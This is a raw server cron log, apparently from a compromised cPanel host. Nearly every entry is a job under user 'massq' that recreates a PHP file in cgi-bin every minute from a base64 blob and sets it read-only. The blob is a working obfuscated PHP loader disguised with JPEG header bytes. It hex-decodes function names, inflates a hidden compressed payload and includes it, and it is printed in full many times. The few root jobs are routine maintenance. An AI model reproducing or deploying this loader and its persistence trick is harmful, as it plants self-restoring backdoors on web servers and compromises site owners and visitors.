Nov 15 01:23:01 server CROND[31427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:24:01 server CROND[31748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:25:01 server CROND[32035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:25:01 server CROND[32036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:25:01 server CROND[32037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:26:01 server CROND[32370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:27:01 server CROND[32731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:27:01 server CROND[32732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:28:01 server CROND[542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:29:01 server CROND[821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:30:01 server CROND[1081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:30:01 server CROND[1083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 01:30:01 server CROND[1082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:30:01 server CROND[1084]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:31:01 server CROND[1413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:32:01 server CROND[1768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:33:01 server CROND[2044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:34:01 server CROND[2314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:35:01 server CROND[2595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:35:01 server CROND[2596]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 01:35:01 server CROND[2597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 01:35:01 server CROND[2600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:35:01 server CROND[2607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
